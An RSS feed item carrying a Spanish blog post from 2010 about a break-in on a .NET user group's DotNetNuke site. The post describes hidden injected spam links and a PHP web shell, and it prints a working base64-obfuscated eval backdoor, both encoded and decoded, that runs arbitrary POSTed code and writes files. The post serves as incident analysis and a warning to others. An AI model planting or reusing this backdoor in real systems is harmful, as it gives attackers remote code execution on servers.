﻿<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Retales de .NET</title>
	<atom:link href="http://nodevelop.com/blog/index.php/feed/" rel="self" type="application/rss+xml" />
	<link>http://nodevelop.com/blog</link>
	<description>Porque en tiempos de crisis se aprovecha todo</description>
	<lastBuildDate>Sun, 11 Apr 2010 19:17:01 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>ATAQUE POR INYECCIÓN DE CÓDIGO A LA WEB DE SECOND NUG</title>
		<link>http://nodevelop.com/blog/index.php/2010/04/ataque-por-injeccion-de-codigo-a-la-web-de-second-nug/</link>
		<comments>http://nodevelop.com/blog/index.php/2010/04/ataque-por-injeccion-de-codigo-a-la-web-de-second-nug/#comments</comments>
		<pubDate>Sat, 10 Apr 2010 17:33:31 +0000</pubDate>
		<dc:creator>jsosa</dc:creator>
				<category><![CDATA[Tips]]></category>
		<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[geeks]]></category>
		<category><![CDATA[Joaquin Sosa]]></category>
		<category><![CDATA[Second Nug]]></category>
		<category><![CDATA[seguridad]]></category>

		<guid isPermaLink="false">http://nodevelop.com/blog/?p=85</guid>
		<description><![CDATA[

Pues s&#237; amigos, aquella ma&#241;ana del d&#237;a 18 de marzo de este a&#241;o 2010, no tardaron en dejarse caer los comentarios en la lista interna del grupo de usuarios&#160; Second NUG&#160; exclamando:&#160; &#161;no se ve la web!, &#161;la web est&#225; en blanco!, pues mirando v&#237;a FTP hay contenido, &#191;d&#243;nde apunta el dominio?, &#161;no resuelve!, &#161;Chacho!, [...]]]></description>
			<content:encoded><![CDATA[<div class="post">
<div class="postsublist">
<p class="MsoNormal"><span style="font-size:small;"><span style="font-family:Calibri;">Pues s&iacute; amigos, aquella ma&ntilde;ana del d&iacute;a 18 de marzo de este a&ntilde;o 2010, no tardaron en dejarse caer los comentarios en la lista interna del grupo de usuarios<span style="mso-spacerun:yes;">&nbsp;<a target="_blank" href="http://www.secondnug.com" title="SECONDNUG"> </a></span><b style="mso-bidi-font-weight:normal;"><a target="_blank" href="http://www.secondnug.com" title="SECONDNUG">Second NUG</a>&nbsp; </b>exclamando:<span style="mso-spacerun:yes;">&nbsp; </span>&iexcl;no se ve la web!, &iexcl;la web est&aacute; en blanco!, pues mirando v&iacute;a FTP hay contenido, &iquest;d&oacute;nde apunta el dominio?, &iexcl;no resuelve!, &iexcl;Chacho!, <i style="mso-bidi-font-style:normal;">(expresi&oacute;n canaria de asombro similar al conocido &iexcl;&ntilde;oooos!) el Default est&aacute; en blanco&hellip;..[&hellip;]</i></span></span></p>
<p class="MsoNormal"><span style="font-size:small;"><span style="font-family:Calibri;"><i style="mso-bidi-font-style:normal;"><a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/5_5F00_1.jpg"></a></i></span></span></p>
<p>&nbsp;<a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/5_5F00_1.jpg"><img src="http://geeks.ms/resized-image.ashx/__size/550x0/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/5_5F00_1.jpg" border="0" alt="" /></a></p>
<p class="MsoNormal">
<p class="MsoNormal" align="center"><i style="mso-bidi-font-style:normal;"><span style="mso-fareast-language:ES;mso-no-proof:yes;"></span></i></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">No cab&iacute;a duda, hab&iacute;amos sufrido alg&uacute;n tipo de ataque a la web del grupo. &iquest;Se han filtrado las contrase&ntilde;as<span style="mso-spacerun:yes;">&nbsp; </span>de acceso al portal? &iquest;Han entrado v&iacute;a FTP? &iquest;Qu&eacute; dicen los logs de accesos? Tras muchas conjeturas e ideas felices acerca de qu&eacute; y c&oacute;mo hab&iacute;a podido pasar, me vino a la cabeza el MIX 2010 de Las Vegas y que uno de nuestros compa&ntilde;eros se hab&iacute;a desplazado a jugar a la ruleta <span style="mso-spacerun:yes;">&nbsp;</span>asistir a las charlas y novedades de este gran evento y pens&eacute;, &eacute;ste t&iacute;o claramente nos est&aacute; haciendo una de las suyas. Pero esta vez no.</span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">Despu&eacute;s de revisar los archivos existentes en el servidor decidimos restaurar mediante una copia de seguridad, el archivo Default.aspx que es el que estaba vac&iacute;o. Pasaron los d&iacute;as y la web se ve&iacute;a bien, hasta que ayer el mismo <strong>&ldquo;Living Las Vegas&rdquo;</strong>, mirando t&eacute;cnicas SEO para mejorar la visibilidad de la p&aacute;gina, va y me asusta con un correo que dice: &iquest;y esos enlaces de spam en la web?&#8230; &iquest;enlaces?, nada a mirar el c&oacute;digo de la p&aacute;gina principal. Efectivamente, exist&iacute;an unas 2000 l&iacute;neas de enlaces OCULTOS apuntando a webs de todo tipo:</span></p>
<div style="padding-bottom:1pt;padding-left:4pt;padding-right:4pt;background:#ddd9c3;padding-top:1pt;mso-element:para-border-div;mso-border-alt:dashed windowtext .5pt;border:windowtext 1pt dashed;">
<p class="MsoNormal"><span lang="EN-US" style="mso-ansi-language:EN-US;"><span style="font-size:small;"><span style="font-family:Calibri;">&lt;body id=&quot;Body&quot;&gt;</span></span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="mso-ansi-language:EN-US;"><span style="font-size:small;"><span style="font-family:Calibri;">&lt;script&gt;document.write(&quot;&lt;p sty&quot;+&quot;le=displ&quot;+&quot;ay:no&quot;+&quot;ne&gt;&quot;);&lt;/script&gt;<span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="mso-ansi-language:EN-US;"><span style="font-size:small;"><span style="font-family:Calibri;">&lt;a href=&quot;http://www.pinamalayan.gov.ph/index.php?option=com_fireboard&amp;Itemid=118&amp;func=view&amp;id=1682&amp;catid=17&quot;&gt;free movies download itunes&lt;/a&gt;</span></span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="mso-ansi-language:EN-US;"><span style="font-size:small;"><span style="font-family:Calibri;">&lt;a href=&quot;http://www.n97geeks.com/Off-Topic/4458-Itunes-2.1-Free-Download.html&quot;&gt;itunes 2.1 free download&lt;/a&gt;</span></span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="mso-ansi-language:EN-US;"><span style="font-size:small;"><span style="font-family:Calibri;">&lt;a href=&quot;http://retireat21.com/forums/website-critique/5717-download-itunes-windows-7-x64-photo-id-software-download.html&quot;&gt;download itunes for windows 7 x64&lt;/a&gt;</span></span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="mso-ansi-language:EN-US;"><span style="font-size:small;"><span style="font-family:Calibri;">&lt;a href=&quot;http://www.palminfocenter.com/forum/palm/driver-download-hp-deskjet-f380-download-free-t49927/&quot;&gt;driver download hp deskjet f380&lt;/a&gt;</span></span></span></p>
<p class="MsoNormal" align="center"><span style="font-family:Calibri;font-size:small;">&hellip;</span></p>
</div>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">Y as&iacute; hasta 2000 l&iacute;neas.<span style="mso-spacerun:yes;">&nbsp;&nbsp; </span> <img src='http://nodevelop.com/blog/wp-includes/images/smilies/icon_surprised.gif' alt=':o' class='wp-smiley' /> </span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">Aqu&iacute; nos han colado algo que est&aacute; inyectando todo ese c&oacute;digo en las p&aacute;ginas. Me pongo a mirar los diferentes archivos que conforman el sitio y nada, reviso carpetas,&hellip; hasta que llego a los skins del portal, que es un DotNetNuke. Ah&iacute; hab&iacute;a algo raro. Un curioso archivo php dentro de ese skin, &iquest;a qu&eacute; viene eso?</span></p>
<p class="MsoNormal"><span style="font-size:small;"><span style="font-family:Calibri;"><b style="mso-bidi-font-weight:normal;">Incre&iacute;ble sorpresa</b> al editar el archivo y ver c&oacute;mo en 1488 l&iacute;neas de c&oacute;digo de un script PHP, <i style="mso-bidi-font-style:normal;">el c&oacute;digo se hace magia, la magia poes&iacute;a y la poes&iacute;a que nos tra&iacute;a por la calle de la amargura</i> <i style="mso-bidi-font-style:normal;">y acord&aacute;ndonos de alg&uacute;n familiar cercano</i> del que nos col&oacute; el ficherito.</span></span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">Control sobre el tipo de servidor en el que est&aacute; (Windows o Linux), ficheros de configuraci&oacute;n del servidor, crear directorios, eliminarlos, crear archivos, comprimirlos, funciones de conversi&oacute;n y tratamiento de cadenas (Base64, md5, sha1,crypt, CRC32, ASCII to X, &hellip;), b&uacute;squedas de caracteres, b&uacute;squedas por <span style="mso-spacerun:yes;">&nbsp;</span>hash en los archivos del sitio, acciones sobre ficheros &ldquo;en modo seguro&rdquo;, autoeliminaci&oacute;n para no dejar rastro, <span style="mso-spacerun:yes;">&nbsp;</span>acci&oacute;n de fuerza bruta para la averiguaci&oacute;n de contrase&ntilde;as. Seguimos: ejecuci&oacute;n de sentencias SQL contra posibles bases de datos alojadas en el servidor,&hellip;, acciones referentes a comandos de red, binding de puertos, &hellip; y varias acciones m&aacute;s que la verdad es que da cierto temor ver lo que se puede hacer con este c&oacute;digo. </span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">Despu&eacute;s de debatir y de un sinf&iacute;n de correos en la lista interna de <b style="mso-bidi-font-weight:normal;"><a target="_blank" href="http://www.secondnug.com" title="SECONDNUG">Second NUG</a></b> decidimos dar parte al hosting y tambi&eacute;n proceder a eliminar ese archivo de su ubicaci&oacute;n (dentro de un directorio a un nivel 5 de la ra&iacute;z del sitio).</span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">Todo resuelto, pero, <span style="mso-spacerun:yes;">&nbsp;</span>al poco tiempo vuelven a aparecer los enlaces spam en la Default.aspx. Esto es que hay m&aacute;s archivos php por ah&iacute; o han metido algo en base de datos. </span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">Sigo con la b&uacute;squeda cuando nuestro compa&ntilde;ero <a target="_blank" href="http://geeks.ms/blogs/omarvr" title="Omar del Valle">Omar del Valle</a>&nbsp;</span><span style="font-family:Calibri;font-size:small;"> me comenta que la p&aacute;gina PHP tiene una contrase&ntilde;a en MD5 que usa el usuario para entrar a los servicios que esta &ldquo;maravilla&rdquo; nos brinda, o sea que escribiendo una contrase&ntilde;a nosotros a pelo en el c&oacute;digo, podemos ver de qu&eacute; es capaz.</span></p>
<div style="padding-bottom:1pt;padding-left:4pt;padding-right:4pt;background:#ddd9c3;padding-top:1pt;mso-element:para-border-div;mso-border-alt:dashed windowtext .5pt;border:windowtext 1pt dashed;">
<p class="MsoNormal"><span lang="EN-US" style="mso-ansi-language:EN-US;"><span style="font-size:small;"><span style="font-family:Calibri;">&lt;?php<br />$auth_pass = &quot;284c0508348f6ed46f1878a95c64742a&quot;;</p>
<p>if( empty( $auth_pass ) || ( isset( $_POST[&#39;pass&#39;] ) &amp;&amp; ( md5($_POST[&#39;pass&#39;]) == $auth_pass ) ) )<br /><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp; </span>$_SESSION[md5($_SERVER[&#39;HTTP_HOST&#39;])] = true;<br />else printLogin();</span></span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="mso-ansi-language:EN-US;"><span style="font-size:small;"><span style="font-family:Calibri;">?&gt;</span></span></span></p>
</div>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">Como es MD5 y no podemos hacer marcha atr&aacute;s para saber cu&aacute;l es la clave usada por el usuario, nos generamos un MD5 nuevo, modificamos el c&oacute;digo php y ejecutamos.</span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">Hasta ahora, solo imagin&aacute;bamos lo que pod&iacute;an hacer con el archivo que hab&iacute;an subido porque mir&aacute;bamos y analiz&aacute;bamos, entre todos, el c&oacute;digo interno, pero la curiosidad de ver <span style="mso-spacerun:yes;">&nbsp;</span>en funcionamiento lo que nos hab&iacute;an colado pasaba a ser ya una necesidad. Montamos todo en un servidor de prueba con apache corriendo sobre Windows 2008 para as&iacute; no poner en riesgo al IIS y&hellip;.</span></p>
<p class="MsoNormal" align="center"><span style="mso-fareast-language:ES;mso-no-proof:yes;"><a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/5_5F00_2.jpg"><img src="http://geeks.ms/resized-image.ashx/__size/550x0/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/5_5F00_2.jpg" border="0" alt="" /></a></span></p>
<p class="MsoNormal" align="center"><span style="mso-fareast-language:ES;mso-no-proof:yes;"><a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/5_5F00_3.jpg"><img src="http://geeks.ms/resized-image.ashx/__size/550x0/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/5_5F00_3.jpg" border="0" alt="" /></a></span></p>
<p class="MsoNormal" align="center"><span style="mso-fareast-language:ES;mso-no-proof:yes;"><a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/5_5F00_4.jpg"><img src="http://geeks.ms/resized-image.ashx/__size/550x0/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/5_5F00_4.jpg" border="0" alt="" /></a></span></p>
<p class="MsoNormal" align="center"><a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/5_5F00_5.jpg"><img src="http://geeks.ms/resized-image.ashx/__size/550x0/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/5_5F00_5.jpg" border="0" alt="" /></a></p>
<p class="MsoNormal" align="center"><a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/5_5F00_6.jpg"><img src="http://geeks.ms/resized-image.ashx/__size/550x0/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/5_5F00_6.jpg" border="0" alt="" /></a></p>
<p class="MsoNormal" align="center"><a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/5_5F00_7.jpg"><img src="http://geeks.ms/resized-image.ashx/__size/550x0/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/5_5F00_7.jpg" border="0" alt="" /></a></p>
<p class="MsoNormal" align="center"><a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/5_5F00_8.jpg"><img src="http://geeks.ms/resized-image.ashx/__size/550x0/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/5_5F00_8.jpg" border="0" alt="" /></a>&nbsp;</p>
<p class="MsoNormal" align="center"><span style="mso-fareast-language:ES;mso-no-proof:yes;"></span></p>
<p class="MsoNormal" align="center"><span style="mso-fareast-language:ES;mso-no-proof:yes;"></span></p>
<p class="MsoNormal" align="center"><span style="mso-fareast-language:ES;mso-no-proof:yes;"></span></p>
<p class="MsoNormal" align="center"><span style="mso-fareast-language:ES;mso-no-proof:yes;"></span></p>
<p class="MsoNormal" align="center"><span style="mso-fareast-language:ES;mso-no-proof:yes;"></span></p>
<p class="MsoNormal" align="center"><span style="mso-fareast-language:ES;mso-no-proof:yes;"></span></p>
<p class="MsoNormal" align="center">&nbsp;</p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">Creo que las im&aacute;genes hablan por s&iacute; mismas.</span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">Entre maravillado y asustado, sigo buscando y buscando c&oacute;mo saber qui&eacute;n nos est&aacute; colando los spam en la p&aacute;gina de inicio del sitio, hasta que <a target="_blank" href="http://www.geeks.ms/blogs/jconesa" title="Javier Conesa">Javier Conesa</a>&nbsp; se le ocurre activar la opci&oacute;n de SmarterStats del hosting, para luego mirando las estad&iacute;sticas saber si nos est&aacute;n ejecutando algo raro.</span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">Una vez m&aacute;s borramos los enlaces misteriosos de la p&aacute;gina default de nuestro sitio&hellip; y esperamos.<span style="mso-spacerun:yes;">&nbsp; </span>A los pocos segundos ah&iacute; est&aacute;n de nuevo, pero esta vez las estad&iacute;sticas nos dice lo que nos faltaba:</span></p>
<p class="MsoNormal"><span lang="EN-US" style="mso-ansi-language:EN-US;"><span style="font-family:Calibri;font-size:small;">/Default.aspx<br />/Resources/FeedBrowser/themes/graphite/</span><span style="font-size:small;"><span style="font-family:Calibri;"><b style="mso-bidi-font-weight:normal;">main.php<br /></b>/rss.aspx<br />/Portals/_default/Containers/MinimalExtropy/</span></span></span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">El skin MinimalExtropy de DNN era quien<span style="mso-spacerun:yes;">&nbsp; </span>ten&iacute;a el archivo PHP que logramos descifrar pero que ya hab&iacute;amos eliminado del sitio, pero nos quedaba ese nuevo main.php del que no sab&iacute;amos nada. </span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">Mirando el c&oacute;digo del main.php vemos que contiene solamente este c&oacute;digo:</span></p>
<div style="padding-bottom:1pt;padding-left:4pt;padding-right:4pt;background:#ddd9c3;padding-top:1pt;mso-element:para-border-div;mso-border-alt:dashed windowtext .5pt;border:windowtext 1pt dashed;">
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">&lt;?php eval(base64_decode(&quot;Pz48P3BocA0KDQppZighZW1wdHkoJF9QT1NUWydkYXRhJ10pKSB7DQoJJHRtcCA9IHVuc2VyaWFsaXplKGJhc2U2NF9kZWNvZGUoJF9QT1NUWydkYXRhJ10pKTsNCgkkZmlsZSA9IHVybGRlY29kZSgkdG1wWydpbmRleCddKTsNCgkkYyA9IGJhc2U2NF9kZWNvZGUoJHRtcFsnY29udGVudCddKTsNCg0KCWlmKCRmaWxlPT0nZXZhbCcpIHsNCgkJZXZhbCgkYyk7DQoJfQ0KCWVsc2VpZigkZiA9IGZvcGVuKCRmaWxlLCAndycpKSB7DQoJCWlmKGZ3cml0ZSgkZiwgJGMpKSB7DQoJCQlmY2xvc2UoJGYpOw0KCQkJZWNobyAiVVBEQVRFRCI7DQoJCX0NCgkJZWxzZSB7DQoJCQllY2hvICJTb21lIGVycm9yIHdoaWxlIHdyaXRpbmciOw0KCQl9DQoJfQ0KCWVsc2Ugew0KCQllY2hvICJDYW4gbm90IHdyaXRlIHRvIGZpbGUiOw0KCX0NCn0NCmVsc2Ugew0KCS8vZWNobyAiPHByZT4iOyBwcmludF9yKCRHTE9CQUxTKTsgZWNobyAiPC9wcmU+IjsNCglkaWUoIk5PIERBVEEiKTsNCn0NCj8+PD9waHAg&quot;));?&gt;</span></p>
</div>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">A simple vista se ve que est&aacute; codificado en base64 con lo que busco un decodificador online como por ejemplo:</span></p>
<p class="MsoNormal"><a href="http://www.opinionatedgeek.com/dotnet/tools/Base64Decode/"><span style="font-family:Calibri;font-size:small;">http://www.opinionatedgeek.com/dotnet/tools/Base64Decode/</span></a><span style="font-size:small;"><span style="font-family:Calibri;"><span style="mso-spacerun:yes;">&nbsp; </span>y resulta (redoble):</span></span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">&nbsp;</span></p>
<div style="padding-bottom:1pt;padding-left:4pt;padding-right:4pt;background:#ddd9c3;padding-top:1pt;mso-element:para-border-div;mso-border-alt:dashed windowtext .5pt;border:windowtext 1pt dashed;">
<p class="MsoNormal"><span lang="EN-US" style="mso-ansi-language:EN-US;"><span style="font-size:small;"><span style="font-family:Calibri;">&lt;?php</span></span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="mso-ansi-language:EN-US;"><span style="font-size:small;"><span style="font-family:Calibri;">if(!empty($_POST[&#39;data&#39;])) {<br /><span style="mso-tab-count:1;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>$tmp = unserialize(base64_decode($_POST[&#39;data&#39;]));<br /><span style="mso-tab-count:1;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>$file = urldecode($tmp[&#39;index&#39;]);<br /><span style="mso-tab-count:1;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>$c = base64_decode($tmp[&#39;content&#39;]);<br /><span style="mso-tab-count:1;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>if($file==&#39;eval&#39;) {<br /><span style="mso-tab-count:2;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>eval($c);<br /><span style="mso-tab-count:1;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="mso-ansi-language:EN-US;"><span style="font-size:small;"><span style="font-family:Calibri;"><span style="mso-tab-count:1;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>elseif($f = fopen($file, &#39;w&#39;)) {<br /><span style="mso-tab-count:2;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>if(fwrite($f, $c)) {<br /><span style="mso-tab-count:3;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>fclose($f);<br /><span style="mso-tab-count:3;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>echo &quot;UPDATED&quot;;<br /><span style="mso-tab-count:2;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}<br /><span style="mso-tab-count:2;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>else {<br /><span style="mso-tab-count:3;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>echo &quot;Some error while writing&quot;;<br /><span style="mso-tab-count:2;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}<br /><span style="mso-tab-count:1;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}<br /><span style="mso-tab-count:1;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>else {<br /><span style="mso-tab-count:2;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>echo &quot;Can not write to file&quot;;<br /><span style="mso-tab-count:1;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}<br />}<br />else {<br /><span style="mso-tab-count:1;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>//echo &quot;&lt;pre&gt;&quot;; print_r($GLOBALS); echo &quot;&lt;/pre&gt;&quot;;<br /><span style="mso-tab-count:1;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>die(&quot;NO DATA&quot;);<br />}<br />?&gt;</span></span></span></p>
</div>
<p class="MsoNormal"><span style="font-size:small;"><span style="font-family:Calibri;"><span lang="EN-US" style="mso-ansi-language:EN-US;"></span></span></span></p>
<p class="MsoNormal"><span style="font-size:small;"><span style="font-family:Calibri;"><span lang="EN-US" style="mso-ansi-language:EN-US;">fopen, fwrite,&hellip;. </span>Mmmmmmmmm, esto ya me suena algo. Este ficherito estaba ubicado en un contenedor de <b style="mso-bidi-font-weight:normal;">OTRO</b> skin diferente al que se encontraba el famoso archivo m&aacute;gico inicial.</span></span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">Eliminado este archivo y restaurada de nuevo la p&aacute;gina Default.aspx, de momento, problema solventado, pero las estad&iacute;sticas que sacamos nos dio algo m&aacute;s de informaci&oacute;n:</span></p>
<p class="MsoNormal"><span lang="EN-US" style="mso-ansi-language:EN-US;"><span style="font-size:small;"><span style="font-family:Calibri;">TENEMOS LA IP 78.46.23.209:</span></span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="mso-ansi-language:EN-US;"><span style="font-size:small;"><span style="font-family:Calibri;">78.46.23.209<span style="mso-tab-count:1;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>09/04/2010 14:07:40<span style="mso-tab-count:1;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>/Resources/FeedBrowser/themes/graphite/main.php</span></span></span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">Y con la IP&hellip; tenemos casi cualquier cosa: </span><a href="http://www.wmtools.net/geoip/78.46.23.209"><span style="font-family:Calibri;color:#0000ff;font-size:small;">http://www.wmtools.net/geoip/78.46.23.209</span></a></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">Espero que pueda servir de referencia por si les toca la suerte.</span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">Un saludo.</span></p>
<p class="MsoNormal" align="center">&nbsp;</p>
